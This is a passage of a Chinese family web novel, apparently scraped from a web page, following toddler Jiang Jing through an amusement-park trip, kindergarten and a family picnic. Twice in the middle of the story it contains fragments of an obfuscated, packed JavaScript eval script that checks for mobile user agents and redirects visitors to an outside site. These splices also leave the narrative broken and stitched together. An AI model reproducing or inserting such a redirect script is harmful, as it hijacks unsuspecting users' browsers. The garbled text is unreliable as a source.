蒋熠不满道:“爸爸!可是我和哥哥才4岁,斯承哥哥和斐轩哥哥都已经12岁和7岁了!” “既然你这样说,我就好好和你掰扯掰扯,斯承哥哥就不比了,斐轩哥哥没比你大多少,琴棋书画都学得好,你呢?这个不干那个不干,以后想干嘛?” 蒋熠扑在妈妈怀里挤着蒋婧一起抱,毫不在意地说道:“我以后什么都不想干!我就想每天玩!” 蒋彬忍住了当着众人面给这孩子一皮坨的冲动,头疼地摇了摇头。 常蕙笑着捏了捏儿子的脸,对蒋源和程与英说道:“行了,时间差不多了,我们该出发了。这三孩子你们就放心交给我们带,你俩正好可以过过二人世界。” 蒋源感激地看了看三嫂,又招手把蒋婧抱过来嘱咐道:“还记得爸爸早上和你说好的,今天和三伯父三伯母出去玩,要做到什么?” 蒋婧抬起小脸,一双乌溜溜的大眼睛睁得滚圆,无比郑重地、脆生生地答道:“不乱跑!不哭闹!要听哥哥和三伯父三伯母的话!” “哎唷我的心啊,小女娃真是太乖了!”蒋彬在一边望着,面上一脸被融化的笑容,眼神里透露着对四弟有女儿的羡慕。 他接过蒋婧抱起来颠了颠,蹭蹭她的小鼻头,说道:“来吧小可爱!今天就让你三伯父也体验体验有小棉袄的幸福!” * 踏入游乐场,仿佛瞬间被卷入了一个由色彩、音乐和笑声编织的巨大万花筒。 蒋彬抱着蒋婧慢悠悠地走,观察着小幼崽的神态,蒋婧眼里闪着兴奋的光,好奇地打量着糖果色建筑和卡通人偶,有一种被震撼住的呆萌感。 -“阿婧宝宝你看那边,会飞的热气球!想不想坐在上面体验一下?” -“想要气球吗?三伯父给你买,来,宝宝挑一个喜欢的。” -“想吃冰淇淋呀?好好好,那必须给你买!” -“怎么了?想下来走一走呀?这里人太多了,三伯父抱着你才安全,等会到那个花园小迷宫,阿婧再下来走好不好?” 四个小男孩直接被丢给了管家带着去玩些刺激的项目,蒋彬和常蕙带着蒋婧去坐温和的项目,氛围温馨。 蒋彬朝一边的妻子说道:“我觉得带小女孩就是不一样,这光是看着都心里软软的,一点也不觉得累,心里跟揣了蜜似的。” 常蕙无比同意他的话,给小嘴巴吧唧吧唧吃着雪糕的蒋婧擦擦嘴巴,说道:“阿婧宝宝,你要是我女儿就好了,长得漂亮就算了,性格还这么讨喜。” -“三伯母,那你怎么样才能再有一个女儿?” -“三伯母现在可没有机会再要一个女儿了,你那两个哥哥就已经要了我的老命了。 “不过三伯父三伯母有阿婧宝宝这样的小侄女也很满足,阿婧宝宝就是我们的乖乖女儿,是不是?” 冰淇淋融化得太快,蒋婧紧张又繁忙地舔着,分神说道:“那我以后会孝敬你们的,三伯父三伯母。” 两人围着她哈哈大笑。 另一边,蒋怀谦心里挂着妹妹,陪弟弟们玩了几趟就想独自去妹妹。 其他三个人听了,反应倒是与蒋怀谦料想得全然不一样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189328|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒋熠:“那我们回去找他们吧,我也怪想阿婧妹妹的!” 蒋澈:“你刚刚还说她不给你抱,你不要和她玩了。” 蒋熠:“我没说过!” 蒋澈:“你真搞笑。” 蒋向恒:“那我们一起回去呗,把婧婧妹妹一起带上玩。” 蒋熠:“她太小了,玩不了我们玩的。” 蒋向恒:“你以为你俩不小吗?你们身高都不够,都只能我和怀谦可以玩。” 蒋熠:“那我也比蒋婧高!她才两岁半!我下个月就五岁了!” 管家把四个男孩带到集合点,蒋婧正一左一右被三伯父三伯母牵着,在纪念品店里逛得不亦乐乎。 蒋熠率先冲过去抱住了她,亲热地搂住她说道:“阿婧妹妹,我都很想你!你有没有想我!” 蒋彬太阳穴一跳,拎着儿子后劲把他拉开:“和你说了多少次了,不要这样突然冲上来抱妹妹,妹妹会不舒服,给妹妹道歉。” 蒋婧被他抓得脖子都红了一片,已经泪眼婆娑地扑在三伯母怀里哭到:“我不喜欢阿熠哥哥了。” “你为什么不喜欢我!我都很喜欢你!你不喜欢我,我就不让你买!” 蒋熠一下把她抱着的小熊玩偶抢走扔在地上,又来拽她的手,怒气冲冲地说道:“你说啊,你到底为什么不喜欢我!” 常蕙被这牛劲儿儿子吓到,连忙拉开他:“阿熠,妈妈怎么教你的?你先冷静!阿澈,过来管管弟弟。” 蒋彬和蒋澈轮番去安抚蒋熠的时候,蒋怀谦连忙过来抱了妹妹哄。 “好了好了,没事婧儿,干爸给了哥哥零花钱的,哥哥给你买,好不好?” 蒋婧哭的伤心欲绝:“可是小熊掉在地上脏掉了....它是白色的呜呜呜呜” “那我们把它救回去,给它洗澡,它就又是一个干净的小熊了,是不是?” 蒋婧听进去了,格外依赖地抱着哥哥,哭声小了下去,眼角还挂着泪,可怜兮兮地点点头。 蒋向恒把那只小熊捡起来,作势拍了拍,也哄道:“婧婧,没关系的,这只小熊肯定会很高兴,它都变脏了你还要带它回家的。” “别怕,我会带你回家的。”蒋婧一边低低抽泣一边抱过那只有她半个身子大的小白熊,还用手安抚似的拍拍小熊的背。 这边解决了,那边蒋熠犟得被爹收拾了一巴掌屁股,不情不愿地息了声音。 一行人最后去了儿童餐厅,吃饭的时候,蒋熠恶狠狠地盯着蒋婧,直把人盯得又是要哭不哭的。 蒋澈把弟弟的头推开了一下,他又转回来,再推了一下,他又转回来。 蒋澈无语:“阿熠,你这样会吓得妹妹更不喜欢你的。” 蒋熠赌气似的移开视线:“不喜欢就不喜欢,我不稀罕!” 蒋婧手里的甜筒没拿稳,一个地摔在了地上,天塌了一般,眼里又无声地盈满了泪水。 蒋澈把自己的冰淇淋分给蒋婧:“阿婧妹妹,你别伤心,你吃我的。” 蒋婧闪着泪光的眼睛看向他,细细地说了一句“谢谢阿澈哥哥。” 蒋熠也把他的冰淇淋递过来:“喏,给你吃。” “我不要你的了。” 蒋熠再次破防:“你!你又不喜欢我!你到底为什么不喜欢我!为什么!你说!” 蒋澈&常蕙&蒋彬:...........累了,真的。 “可是我吃不了两个的,阿熠哥哥。” 一声“阿熠哥哥”,就把蒋熠身上的火瞬间浇灭了。 他受宠若惊似的“哦”了一声,转瞬欢欣地说道:“那你吃我的,我吃你手里的。” 蒋婧贯来不记仇,早就忘了前十几分钟的事,乖乖点头,听由他换了冰淇淋。 蒋熠心满意足地笑了:“我就知道你是喜欢我的,你都愿意吃我的冰淇淋!” * 玩回家的时候,蒋婧已经睡得很沉。 后备箱里是一袋子的毛绒玩具,下车时由蒋向恒拎着回家。晚上的时候,他独自把那个白色的小熊玩偶洗干净,低风烘干,悄悄地送到蒋怀谦的房间里。 蒋怀谦刚给蒋婧洗漱好,换上舒服的真丝小睡衣,见他拿着小熊玩偶进来,真心实意地说道:“向恒,你是个好哥哥。” 蒋向恒:“要你说,我当然是婧婧最好的哥哥。” “你理解能力有什么问题吗?我说的是你当哥哥好不错,不是婧儿最好的哥哥。” 蒋向恒懒得和他争,翻进被窝里,抱住蒋婧和那只小熊玩偶,准备入睡。 蒋怀谦皱眉:“你当我不存在?” “你都独占婧婧多久了,我抱着睡一天怎么了?” 蒋怀谦怕吵醒妹妹,瞪了他一眼,贴着蒋婧的背,躺平睡下,一夜好梦。 11. 第11章 蒋婧2岁半的时候,家里出现了到底要不要送幼儿园的讨论。 蒋礼雄想要多陪陪孙女的童年,觉得幼儿园阶段完全可以请家庭教师,等到小学了,再送入学校。 蒋怀谦和蒋源其实也觉得这样不错。 但程与英却担心女儿脱离集体教育,以后很难融入集体生活。 讨论来讨论去,蒋源决定把选择权教给闺女。 他抱着蒋婧颠颠乐,温和地问道:“乖宝儿,想不想去学校玩玩?” 蒋婧压根不知道什么是学校,但是她贯来对新奇的东西来者不拒,眨巴着个无辜的大眼睛糯着声音朗声答:“好啊!” 于是便敲定了先送去幼儿园试一试的计划。 * 决定送闺女去幼儿园的蒋源到了真正要送的这一天,又充满了各种各样的担忧。 怕闺女不适应,怕她被人欺负,怕在学校吃的不好,午睡不好,玩的不好,环境没有家里舒服…… “老婆,要不我们还是采纳爸爸的建议,等婧儿再大些再去学校吧!” 程与英连个眼神都没给他,无视他的话,替穿好校服的可爱女儿理了理衣领。 蒋婧穿着英式的西装校服,小皮鞋白色高筒袜,头发扎成两个麻花辫,鬓边还别了两个向日葵发卡,背着一个黄色小书包,别提有多可爱了。 程与英欣赏地给女儿拍了好几张照片,才夸夸她道:“婧儿今天真漂亮!” 蒋婧笑眯眯地牵上妈妈的手,甜甜地回:“妈妈今天也真漂亮!” 程与英幸福地亲亲她,陪她一起坐上了去学校的车,回头看了眼还在纠结痛苦的丈夫,无奈地笑道:“老公,再不走,婧儿要迟到了。” * 对学校完全没有概念的蒋婧下车后,被陌生的老师牵着手领进教室的那一刻,就开始害怕地哭了。 是那种安静的、无声地哭泣,一双大眼睛里蓄满泪水,无措地打量着周围,不明白为什么自己忽然出现在这里的懵懂。 蒋礼雄和蒋源两个大高个家属趴在窗户边,看着悄悄掉眼泪的蒋婧,心都碎了,立马决定终止上学这项决定。 程与英脸上落下三条无语的横杠,阻拦道:“爸,源哥儿!再观察观察,我们要给婧儿适应的时间。” 蒋婧却已经发现了窗边的人,立马抹着眼泪小跑出教室扑到人腿边扒住,伸手要爸爸抱。 蒋源哪扛得住这,连忙弯腰把女儿抱起来哄。 第一次去幼儿园的计划便这样失败了。 蒋礼雄乐见其成,又恢复了每天把乖孙女接到自己身边,教她书法、国画的日子。 * 程与英还是觉得需要让蒋婧进入到学校当中,这样才能有利于她的全面发展。 三嫂常蕙这时提了个建议道:“要不,干脆让小婧跟着我们家那双胞胎上中班,反正幼儿园里的课程大差不差,不过是年龄段的问题,让两个哥哥带着,小婧许就不那么怕生了。” 程与英觉得可行,便再一次决定尝试。 蒋婧害怕一个人突然进入一个新环境的感觉,后来听到去“上学”,说什么都不去。好在她性格实在乖巧懂事,程与英晓之以理动之以情地哄了又哄,才把乖女哄得同意再试一次。 蒋婧会说话走路后,和双胞胎成为了家里最亲密的玩伴三人组。 室内玩具、户外娱乐、周末外出,三人几乎是形影不离,聚在一起就是欢声笑语。 蒋源特地腾出了一间小百平的房间给女儿打造成了专属的玩具游乐房,蹦床、海洋球、滑滑梯、攀爬架、图书吧、千奇万种的玩具……应有尽有。 三个人经常在这里一起玩乐。 有一回他们一起在这里拼积木,蒋澈问她:“阿婧妹妹,你最喜欢的哥哥是谁啊?” 蒋婧专注地搭着积木,闻声脆生生地答道:“当然是和我住在一起的哥哥!蒋怀谦!” “那我可以做你最喜欢的哥哥吗?”蒋澈问。 蒋婧摇摇头:“可是哥哥对我最好了,不过你也对我很好,我可以让你做我第二喜欢的哥哥。” 蒋澈有些不高兴,低着头没有说话。 蒋婧全然没有发现,依旧“阿澈哥哥”“阿澈哥哥”地使唤他帮忙搭积木。 从那之后,蒋澈开始偷偷地观察和模仿蒋怀谦,看他如何照顾蒋婧,如何获得蒋婧的依赖。 学了个三五分,蒋婧自然而然地在两人当中更黏蒋澈了一些。 蒋熠意识到蒋婧总是第一个去找蒋澈玩的时候,感到很不爽,做出的反应是强行拽着她不让她和蒋澈玩。 又或者故意在他们一起玩的时候捣蛋捉弄蒋婧,久而久之,蒋婧与蒋熠便形成你吵我嚷的欢喜冤家。 这一天,接送双胞胎的车先绕道来了秋水庄园接上蒋婧。 蒋澈受了常蕙的嘱托,担任起了照顾蒋婧的责任。 上了车,蒋婧乖巧地喊了声:“阿澈哥哥,阿熠哥哥,早上好!” 蒋熠开口就嘲笑道:“我听我妈妈说,你都不敢一个人去上学,你好胆小,好没用!” 蒋婧立马有些不高兴地嘟了嘴,说道:“你为什么要这样说我,我不要和你玩了!” 蒋熠扯了下她的辫子,见她瞪了自己一眼,就是不理他,也有些生气,撇过头看车窗外,不屑道:“不玩就不玩!我不稀罕!” 蒋婧眼里偷偷藏了泪,蒋澈见了,温和地擦去她的眼泪,说道:“你别和阿熠生气,他是因为想和你说话才这样的。” 蒋婧压低了声音,委屈巴巴地说道:“他这样,就是讨厌!我不喜欢他了!” 蒋婧再一次到了幼儿园,还是有些怕生,好在蒋澈全程牵着她的手,对她说道:“阿婧别怕,你跟着我,没有什么可怕的。” 蒋婧点点头,另一只手也抓紧了蒋澈的手。 早上的晨会是简单的集体小游戏,蒋婧怯生生地跟在蒋澈的身后,不太懂游戏规则,但是知道有人要追自己的时候,就要跑。 她拽着蒋澈的手,乐呵呵地跟着跑,结束的时候额头已经有了汗珠。 蒋澈从书包里拿出纸巾,仔细地给她擦干头上的汗,蒋婧还会笑着道谢:“谢谢阿澈哥哥!” “我们等一下要干什么呢?还玩老鹰抓小鸡吗?” 蒋澈耐心地帮她叠好她因为热随意脱下的外套,刚要开口,身边的蒋熠就说道:“下节课是音乐课,老师会教我们学唱歌,笨蛋!” 蒋婧没有说话,还在生他的气。 蒋熠鼓着个腮帮子,也扭开了头,说道:“哼,我也不想和你说话。” 音乐课上,蒋婧坐在蒋澈旁边,仍然抓着他的手。 蒋澈侧头看她,她正聚精会神地听着老师的手风琴,跟着开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在被子里,听到了身后蒋澈哄她。 “阿澈哥哥,我这里好痛,都红了,要呼呼!” “不痛,哥哥呼呼就好了,乖,睡着了就不痛了。” “阿澈哥哥抱着我睡好不好?” “嗯。” 蒋熠踢了脚木质的床,动静很大地又翻了个身。 蒋婧以为他又要掐自己,吓得往蒋澈怀里又缩了一缩。 这一天的幼儿园课程,蒋婧在蒋澈的带领下圆满地完成了。 程与英和蒋源接到女儿的时候,都特别骄傲,一个劲地问今天感受怎么样。 蒋婧一左一右地牵着爸爸妈妈的手,时不时跳起来一下,开心地说道:“我喜欢和阿澈哥哥一起上幼儿园!我喜欢玩老鹰捉小鸡!还喜欢唱歌!喜欢吃红色的小蛋糕!” 程与英欣慰地看着她,继续柔声问:“那明天还想来吗?” 蒋婧思考了一下,说道:“来!但是还要和阿澈哥哥一起才可以!” 程与英应下:“好,那明天还让你澈哥哥和熠哥哥带你去上学,好不好?” 她脆生生地答:“好!” 12. 第12章 第二天伊始,蒋婧醒来就哭着不愿意去幼儿园。 蒋源见不得闺女掉眼泪,抱着她在宽阔的大客厅里一边走一边晃着哄。 “好好好,不去就不去。我们不去幼儿园,今天婧婧陪爸爸去公司上班,好不好?” 程与英听了眉头一竖,紧扭了蒋源的胳膊,又上手一拍,把女儿抢过来,不乐意道:“瞧瞧你说的这是什么话?一边去!” 她抱了女儿哄,温和地说道:“怎么又不想去了?昨天不是还好好的,说今天还要和两个哥哥一起去幼儿园?” 蒋婧摇摇头,哭的委屈巴巴:“我昨天没说过....” “小赖皮宝宝嘛。”程与英顺着女儿扑过来的势搂紧她,抚摸着她的背,柔声询问:“你偷偷告诉妈妈,是因为什么不想去?妈妈帮你解决,好不好?” 蒋婧环着妈妈的脖子,依赖地蹭了蹭,嘟囔道:“我可不可以上哥哥和向恒哥哥的学校,不上幼儿园?” “那不行呀,你还小呢,只能上幼儿园,等你大一些,就可以上哥哥们的学校了。” “再说了”程与英抱着她到餐桌前坐下,一边喂她吃蛋羹,一边说道:“在幼儿园呢,婧儿可以学会如何交朋友,学到一些有趣的新知识,不好玩吗?” 蒋婧瘪着嘴,眼泪汪汪地看着程与英,试图唤起她的怜惜。 “妈妈,你真的很希望我去上幼儿园吗?” “上学是每个小朋友都要做的事情呀。” 程与英说是坚持要送孩子去上学,实际上也是受不了女儿一点哭相。她给蒋婧擦去眼泪,抱着哄道:“如果婧儿今天放学回来还是不想去,我们就不去了好不好?今天再尝试一次,行不行?” “行。”小丫头吸吸鼻子,干脆地说道:“我听妈妈的。” 程与英的心倏忽软趴趴的,她亲了亲女儿的脸颊肉,欣慰地笑道:“好乖嘛,婧儿都是最乖的小宝贝。” * 凯迪拉克·凯雷德停在了德威国际幼儿园门口,程与英先一步下车,又把女儿抱下了。 蒋熠和蒋澈两兄弟也在保姆的帮助下下了车,站在一边等着他们告别。 蒋婧一副含泪欲泣的样子,由蒋澈牵着往里走。她回头和妈妈挥手道别,目光祈盼。 “妈妈,你一定要早点来接我!不要把我忘记了!” “好,你乖乖上学,妈妈第一个来接你!”程与英心里酸酸涩涩的,也很不是滋味。 后面停下一辆车,几秒后,一身西装革履的蒋源下车过来,搂住妻子,问道:“婧儿进去了?” “嗯。”程与英靠了靠他,感叹地说道:“这孩子啊,又想她离了我们学会更多,又担心她离了我们受委屈。我也难过。” 蒋源没说话,只是无声地握住了妻子的手。 夫妇俩悄悄进了幼儿园,隔着窗户观察女儿的上学情况。 晨会是娱乐活动,蒋婧大部分时间都贴在蒋澈身边,看起来很拘谨局促。在家里撒欢似的小吵闹,到了学校就变成了一只战战兢兢的小鹌鹑。 蒋源一下子就受不了了,自诩三十而立的阳刚男人此刻也不禁有些鼻酸。 “婧儿是有点怕生,但她才两岁,我就想她开开心心的,没必要强要她去接触同龄小朋友。” 程与英捂着嘴摇头,心里也乱成一团麻。 她也舍不得。可是和姐姐程若华聊了几次,又咨询了不少教育专家,他们的建议都是孩子进入幼儿园,这是一个提升和学习的必要过程。 “走吧走吧,别看了。”程与英狠下心,红着眼拽着蒋源离开。 蒋源不忍心地最后看了一眼闺女,叹了口气,跟着离开。 * 一个班的小朋友们围成圈,手绢丢在谁的后面,谁就要赶快起来跑。 蒋婧贴在蒋澈旁边,看了两轮后,才明白了游戏规则。 老师都是受到蒋婧家长特意交代的,故而对她充满了宽容和耐心,允许她被抓到了也还有再来一次的机会。 很快,蒋婧就在游戏里开心起来。虽然因为个子小、腿短些,她总跑的慢而被抓到,也不恼,乐呵呵地满场跑,满场追,把自己累得满头大汗。 结束晨会游戏时间,蒋澈和蒋熠一人拿着一张湿纸巾和干纸巾,轮流给她擦干净脸上的汗。 蒋澈贯来在这种集体游戏里都兴致恹恹,这会儿看着妹妹,忍不住传授起自己的经验来:“阿婧妹妹,你不用玩太认真的,这些游戏只是为了让我们动起来,你把自己跑的太累了。” “那我要怎么跑,阿澈哥哥?”她眨着双清澈明亮的大眼睛问。 蒋熠拎来她的粉红色草莓形状的大水壶,艰难地扭开递过去给她喝水,接着哥哥的话传授经验:“等下一次玩的时候,你就每次都丢在我后面,我来抓你的时候,我就跑得慢慢的,等你坐下,这样你就不用一直去抓人了。” 蒋婧抿着水壶吸管,脸蛋鼓鼓地喝水,两条莲藕似的白嫩小腿在椅子下晃来晃去。 点点头,她说道:“我知道了,阿熠哥哥。” 早上的第一节课是绘画。蒋婧能爬能走后,最喜欢干的事情就是画画。不过这是第一次有老师教导,她感到很新鲜,一笔一画地跟着老师学习,很快,一副有模有样的《动物园里有什么?》的作品就临摹出来了。 教画画的Candy老师一一辅导每一位孩子,见到蒋婧的作品时,惊喜地夸她:“Josie,你画得太棒了,这正是一副很漂亮的画!” 小朋友的画作,重点不在于画的“像什么”或“美不美”,而在于鼓励他们的探索、表达和享受过程本身。他们的画作通常是抽象的涂鸦,充满了大胆的色彩和自由的线条。 但是蒋婧的画作,能看出某种源于专注、喜爱和想象力的灵性。老师只教了如何画小动物,她却能在老师的教学之外,根据自己的理解,画出额外的东西,比如树、太阳、云朵、游客。 “谢谢Candy老师!”蒋婧明显被夸得很开心。 Candy老师望着这个漂亮可爱的孩子,面露喜爱地拍拍她的肩膀,鼓励道:“加油哦,继续画下去,你一定会画出更多优秀的作品的!” 绘画课结束后,又轮到高尔夫球课。 老师一对一教学完毕后,统一带着孩子们练习挥杆,然后就是自由的练习时间。 蒋婧乖乖地按照老师的要求站在原地,击球,捡球,击球,捡球,自动屏蔽了周边的人,一个人玩得很专注。 其他孩子什么时候开始吵吵闹闹她一点也没有意识到。随即就有小朋友过来,说想要和她一起玩。 蒋婧摇摇头,小声地拒绝。 然后一堆人就莫名其妙地一拥而上,环住了蒋婧,推搡着。 帮助老师去分小餐点的蒋熠见了,立马火冒三丈,像是被激怒的一匹小野马般冲了过来,怒吼着拽开那些小孩子,把蒋婧拉出来抱住,摁着她的脑袋压到自己的怀里。 “你们走开!” 老师吓了一跳,连忙过来维持秩序。 “怎么了你们?你们为什么要去推她挤她?蒋婧比你们小,是一个小妹妹,不可以这样,知道吗?” “老师,我们没有要欺负她!” “我们是想和她玩。” “因为她都一个人” “而且不听我们说话!” “我们和她说话她都不离我们的!” “老师我们都很喜欢她的!我妈妈说了,喜欢就要 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那边老师应下:“好的,这是一定的,你们家长也要多放心,多相信我们。” 打完电话,他把女儿抱在腿上,又细声细气地问了一遍:“婧儿,你告诉爸爸,今天心情有没有坏坏?” 蒋婧委屈地点点头,又摇摇头。 “老师说他们是想和我交朋友。” 蒋源皱了眉头,第一次意识到对女儿的安全教育不充分。他对女儿严肃而语重心长地说道:“婧儿,你看着爸爸,听好爸爸给你说的话。” 思索了片刻,担心她年纪小听不懂,他解下蒋婧书包上挂的一堆玩偶挂件,开始模拟情景,他拿着小熊说:“小狗突然推了小兔一下,小兔好害怕呀!怎么办呀?” 蒋源停顿,观察孩子反应,然后引导:“小兔要马上跑去找老师!对老师说:‘老师帮帮我!’”” 蒋婧目不转睛地盯着爸爸手上展开的情景剧,沉浸地跟着说道:“老师帮帮我!” “对啦,就是这样,非常棒,婧儿宝宝!”一边的三伯父和三伯母也配合地夸奖。 蒋源继续教她识别身体的不舒服的感受,他摸摸女儿的胳膊说道:“如果别人让你这里痛痛” 又捂上胸口:“心里害怕,就像打针一样不舒服,要立刻告诉老师!知道吗?” 蒋婧窝在爸爸的臂弯里,小小的一团,像一只在阳光下打盹的、柔软的小动物。肉嘟嘟的脸颊因为全神贯注而鼓着,圆溜溜的眼睛看过来,显得有些呆呆的萌感。 她小手攥紧了爸爸的衣角,求表扬似的用奶音总结:“不舒服的时候,要像小兔子一样快快跑向老师!” 蒋源弯唇,抱起闺女颠了颠,说道:“没错,就是这样!婧儿真聪明!” “你记住了,婧儿,不管发生什么,都要告诉爸爸,爸爸永远站在你这边!知道吗?” 蒋婧点点头:“知道了!” “还有你的妈妈,哥哥们,还有三伯父,三伯母,都会站在你这边!”蒋彬补充道。 蒋彬拍了拍坐在他身边的蒋熠,颇为满意地说道:“阿熠,你今天保护了妹妹,做的很好,值得表扬!以后也要这样,在学校里,要多照顾妹妹、保护妹妹。” “老爸,你就放心吧,我可是超级英雄,妹妹只要一哭,我就会来救她!”蒋熠一边埋头苦吃,一边信誓旦旦地说道。 蒋彬轻呵了一声,附和:“得嘞,你小子,误打误撞的,也算是个小英雄。” 他又转向更懂事些的蒋澈,嘱咐道:“阿澈,你们三个一起上学,你就是最大的哥哥,要多关心照顾妹妹,知道吗?” “爸爸,我会的。” 13. 第13章 秋水庄园远离城市,位于城南边的度假区,景色秀丽,独占了一片占地广阔的土地。 城堡一般的法式庄园主楼兼具巴洛克式的庄严与洛可可的精致,被周边严整的法式花圃围绕着。在建筑正面对应的正中间,制作精美的喷泉喷吐着银亮水柱,在阳光下迸溅出细小的虹彩。清脆的水声弥漫在空气里,与浓郁的花香奇混合在一起,倒是显得愈发静谧安宁。 往庄园北面走上几百米,一面巨大湖泊无垠铺展,水波不兴,倒映着绿树蓝天。几尾天鹅缓缓滑过,漾开粼粼的涟漪。远处岸边,几只小舟静静停靠,为这寂静的画卷添了少许灵动的点缀。 宽敞清新的绿茵茵的草坪上,两家人正在氛围欢欣地进行着野餐。 说是野餐,也不过是把室内的用餐搬到了室外。厨师和佣人们正在一边井然有序地烤肉,主人家们围坐在木桌前闲聊着,再另一边,是在追逐玩闹着的孩子们。 蒋彬说道:“四弟,你这是真舒服,早先年盘下来自建,是真有眼光。” “三哥觉得好,多来就是。” “难道我会跟你客气?” 常蕙正在和程与英说着圈内的八卦,闻言提议:“也别总是往这跑,改天啊,也请你们来我们家玩玩。” 蒋彬:“我们两家倒是聚的勤快,就是大哥家,从大到小都是忙人,实在遗憾。” 常蕙不以为然:“每周天都要回主宅吃饭的,见的也挺勤的。” “是是是,那倒是。这家和万事兴,我觉得我们这一大家子,是真的过的舒心、幸福。”蒋彬感慨道。 另一边,几个孩子在蒋向恒的组织下玩着游戏。分队的时候闹出分歧。 蒋怀谦坚持要和妹妹一队,蒋熠也要和妹妹一队,吵来吵去,蒋熠说不过大哥哥们,情急之下语出惊人道:“阿婧,我才是你的亲哥哥!他不是你的亲哥哥,他是你爸妈捡来的!” 蒋婧一左一右被抱着,有些懵懵的,听了不理解地说道:“我哥哥是我家的!他和我有一样的爸爸妈妈!” “你都没发现吗,他叫你爸爸妈妈都叫干爸干妈,只有亲生的孩子才叫爸爸妈妈,他就是不是你亲哥哥,我才是!” “不是!他就是!”蒋婧有些生气了,想要扒开蒋熠的手。 “他不是!他就不是!他不是你的亲哥哥!我才是!” “闭嘴!我就是她亲哥哥!” 蒋怀谦突然爆发,声音很大,充满了愤怒和保护欲。 吼完这句话,他自己也愣住了。他从来没有在妹妹面前这样发过火。 蒋怀谦连忙低头去看抽泣着、抓着他衣角面露害怕的妹妹,一种前所未有的恐慌涌上来。 他抱起妹妹,轻声又有些慌张地哄道:“我就是你的亲哥哥,婧儿。” 蒋熠受不了蒋婧对蒋怀谦的依赖,气恼地拽着她往大人们的地方走:“你不信的话,你去问你的爸爸妈妈,蒋怀谦就是不是你的亲哥哥!” 见到蒋婧踉踉跄跄地被蒋熠牵着过来,程与英率先起身过来把崽子抱起来,问道:“怎么了,怎么哭了?” “妈妈,阿熠哥哥说哥哥不是我的亲哥哥,是真的吗?” 跟在他们后面过来的蒋怀谦一下子咬紧了牙关,忿忿地低下了头。 蒋彬弄清楚来龙去脉,恼火地拎了蒋熠过来,抬手就在他的屁股上毫不留情地给了三巴掌:“谁让你多嘴的?” 蒋熠觉得自己在妹妹面前被打,有失颜面,立马“哇——”地一声,哭的惊天地动鬼神:“爸你说过在外面不打我的!” “这是外人面前吗?打你怎么了?” 蒋源过来安抚了几句,让一点就炸的父子俩冷静了些,才速速过去帮老婆哄女儿。 程与英连连安慰:“你和哥哥都是我们的孩子,你们当然是亲兄妹,他就是你的亲哥哥呀!” “那为什么他是捡来的,我也是捡来的吗?” “这...哪来的捡来的意思,这...”程与英有些头疼,不知如何作答。 蒋源接过女儿,把她放到地上,说道:“爸爸来告诉你什么是捡来的。” “你看,假设婧儿摔倒了,爸爸这样把你扶起来,抱起来拍拍,就是捡起来。所以哥哥也是这样摔倒了,爸爸妈妈把他扶起来,就叫做捡起来。” “那我呢?” “你是妈妈生出来的呀。” “那捡起来的和生出来的,有什么不一样?” 蒋源一手牵过蒋怀谦,一手牵过蒋婧,面上透露着一视同仁的疼爱。他循循说道:“没有什么不一样。哥哥是我们的儿子,你是我们的女儿,我们是最亲的一家人。你和哥哥呢,是最亲近的手足,婧儿知道什么是手足吗?就是这个世界上,除去爸爸妈妈,和你最亲的人,就是哥哥。” 蒋婧懵懵懂懂地点头,很受触动似的,横挪着步子凑近蒋怀谦,轻轻抱住了他的腰,仰着头黏黏糊糊地唤他:“哥哥~我们是最亲的人,是不是?” 蒋怀谦蹲下来抱住她,藏住眼里的泪水。 “爸爸,为什么哥哥要叫你干爸,叫妈妈干妈,为什么我不叫你们干爸干妈。” 蒋源一时也有些语塞,他搂住两个孩子,静静地安抚着无声落泪的蒋怀谦,对女儿说道:“因为哥哥摔了很大一跤,心里很痛,所以还在害怕。婧儿要多关心哥哥,多体谅哥哥。不要催哥哥,等哥哥自己想和你一样叫爸爸妈妈。如果哥哥不想叫,这也没什么。哥哥叫干爸干妈,和你叫爸爸妈妈,是一样的意思。” 一口气听了这么多话,蒋婧皱着眉头拍拍自己的脑袋,不怎么理解,但听懂了要多关心哥哥。 她朝爸爸承诺道:“我会对哥哥很好很好,让他不害怕的。” 蒋怀谦心里说不清的感觉,沉默着,很紧很紧地抱住了妹妹娇小又柔软的身体。 这一段小插曲在大人的介入下总算是过去了,厨师们把现烤好的食物摆放过来。大人们便招呼小孩子们过来吃饭。 蒋源势必要让闺女学会吃鱼,这会又挟制了想接着跑跳的闺女,抱在自己怀里,给她夹了一块肉质细嫩的鳕鱼。 整块鱼排用味噌腌制后,用香草、柠檬包裹烤制。鱼皮酥脆,鱼肉锁住了水分和香气。蒋源寻思着,这烤鱼总归不会被小家伙吃出腥味了吧。 蒋婧警惕地扭头拒绝:“我不喜欢吃臭臭的鱼!” “婧儿,小孩子多吃鱼肉有营养,你尝一口,不好吃就不吃。” “好吧,那我只吃一小小口哦~”蒋婧伸着脖子很小地抿了一嘴,然后皱巴着脸推开:“好难吃,有鱼的臭味!” 蒋源又愁又被她逗得乐不开支,捏捏她的小鼻子说“我们家婧儿的小鼻子是装了小鱼雷达吗?” 蒋婧笑得有点憨厚的小得意:“当然啦,我最不喜欢吃鱼了,我觉得鱼是世界上最最最最难吃的!” 想到这,她从爸爸的腿上跳下来,让爸爸把桌子上那盘鱼给自己,自己念叨道:“这么难吃,我拿去给阿熠哥哥吃。” 她费力地端着那盘鱼绕了一圈到对面,对常蕙说道:“三伯母,你能抱我上去一下吗?” “当然可以啦!” 她坐稳,把那盘鱼放到蒋熠面前,甜甜地说道:“阿熠哥哥,这个给你吃。” 